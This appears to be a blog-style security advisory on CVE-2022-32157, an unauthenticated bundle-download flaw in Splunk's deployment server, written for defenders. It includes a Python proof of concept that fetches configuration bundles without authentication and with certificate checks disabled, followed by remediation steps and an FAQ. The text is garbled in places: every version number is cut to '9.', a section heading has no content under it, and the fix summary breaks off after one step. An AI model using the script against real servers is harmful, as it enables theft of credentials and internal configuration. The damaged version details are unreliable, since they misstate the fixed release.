Splunk is a popular tool for collecting, indexing, and analyzing machine data. Many organizations use Splunk Universal Forwarders to send logs and data to central Splunk instances. The Splunk Deployment Server helps manage and update configurations on these forwarders at scale. But in 2022, a significant security vulnerability was found in the deployment server — tracked as CVE-2022-32157.

In this article, we’ll look at what this vulnerability is, why it matters, how attackers can exploit it (with code examples), and—most importantly—how Splunk admins can fix it for good.

What is CVE-2022-32157?

Description:  
In Splunk Enterprise versions before 9., the deployment server component allowed *unauthenticated downloading* of forwarder bundles. A “bundle” in this context is a package of configuration files (apps, scripts, settings) that an admin pushes to a group of Universal Forwarders. Because the server wasn’t checking to see *who* was requesting the bundle, anyone who knew—or guessed—the right URL could download these sensitive packages.

References:  
- Splunk Security Advisory: SVD-2022-0607
- Splunk Docs: Configure authentication for deployment servers and clients

Internal IPs and environment topology

If an attacker can download them, they can learn a lot about your environment. Worse, if you use saved credentials, private scripts, or other sensitive material, it’s basically a free data leak. And remember—this is all *unauthenticated*. Anyone who can reach the deployment server port (default is 8089) could exploit this.

How the Exploit Works

At its core, this vulnerability is due to a missing authentication check on the deployment server endpoint for bundle downloads. Universal Forwarders use this endpoint to fetch new configuration bundles. But so can anyone else.

Network scenario:  
- Splunk Deployment Server (SDS) runs on https://splunk-deploy.example.com:8089
- Attacker discovers the SDS is reachable (maybe via Shodan, or on your internal/corp network)

Example: Downloading a Deployment Bundle (Python PoC)

Here’s a proof-of-concept code using requests in Python. Change the host and deployment app name as appropriate.

import requests

# Replace with your target Splunk Deployment Server
splunk_host = 'https://splunk-deploy.example.com:8089'
# This is the default path for bundle download
bundle_url = f'{splunk_host}/services/broker/phonehome/bundle'

# Disable SSL warnings (if your Splunk uses self-signed certs)
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# No authentication required!
resp = requests.get(bundle_url, verify=False)

if resp.status_code == 200:
    # Save bundle for further offline analysis
    with open('deployment_bundle.tgz', 'wb') as f:
        f.write(resp.content)
    print("Downloaded bundle successfully!")
else:
    print(f"Failed to download: Status {resp.status_code}")

What does this give the attacker?
The attacker now gets a .tgz file containing whatever “deployment apps” (configs, scripts, etc) the Splunk admin has published for forwarders. This info could be a goldmine for lateral movement.

If your deployment server is exposed to untrusted networks (even internally): *You’re at risk.*

- Universal Forwarders themselves are *not* directly affected, but you have to update them as part of the fix (see below).

1. Upgrade to Splunk Enterprise 9. or Higher

Splunk fixed the problem in version 9.. Upgrade your deployment server to 9. or later.

### 2. Enable Deployment Server/Client Authentication

Splunk added a way to enforce mutual authentication between deployment servers and forwarders. This stops unauthorized downloads. To enable, follow these docs:

- Official configuration instructions

In brief:

Edit /opt/splunk/etc/system/local/deploymentserver.conf

[deploymentServer]
dscs_authentication = enabled

Then, set up authentication tokens/certs for your forwarders as well.

3. Update *All* Managed Universal Forwarders to v9.+

*Very important*:  
Once you enable authentication, only Universal Forwarders version 9.+ will be able to connect to the deployment server. You must upgrade *all* your forwarders before enforcing this. Old forwarders will break otherwise.

Automation scripts, or Splunk’s own rolling upgrade features, can help.

- Forwarder upgrade docs

Limit network access: Only allow trusted hosts to access the deployment server port (8089).

- Audit your deployment bundles: Remove secrets, passwords, or sensitive scripts wherever possible.

# FAQ

Q: Does this affect the main search head or indexers?  
A: Only if they also run as deployment servers. The core vulnerability is in the deployment server functionality.

Q: Can I patch without upgrading forwarders?  
A: No—Splunk’s fix requires that both the deployment server *and* your forwarders are on v9.+. Applying the fix on the server otherwise will break older forwarders.

Q: Can I just firewall the port?  
A: This provides partial protection but doesn’t fix the root cause. Upgrade and enable authentication as described above.

In Summary

CVE-2022-32157 exposed sensitive deployment data in Splunk deployments running as deployment servers. The fix is:

Enable mutual authentication between deployment server and clients.

Any delay puts your infrastructure and data at risk. Don’t wait!

References

- Splunk Advisory SVD-2022-0607
- Splunk Docs: ConfigDSDCAuthEnhancements
- Splunk Forwarder Upgrade Steps


Stay safe, keep your Splunk up-to-date, and always take a look at what your deployment bundles contain!

Timeline

Published on: 06/15/2022 17:15:00 UTC
Last modified on: 06/24/2022 00:51:00 UTC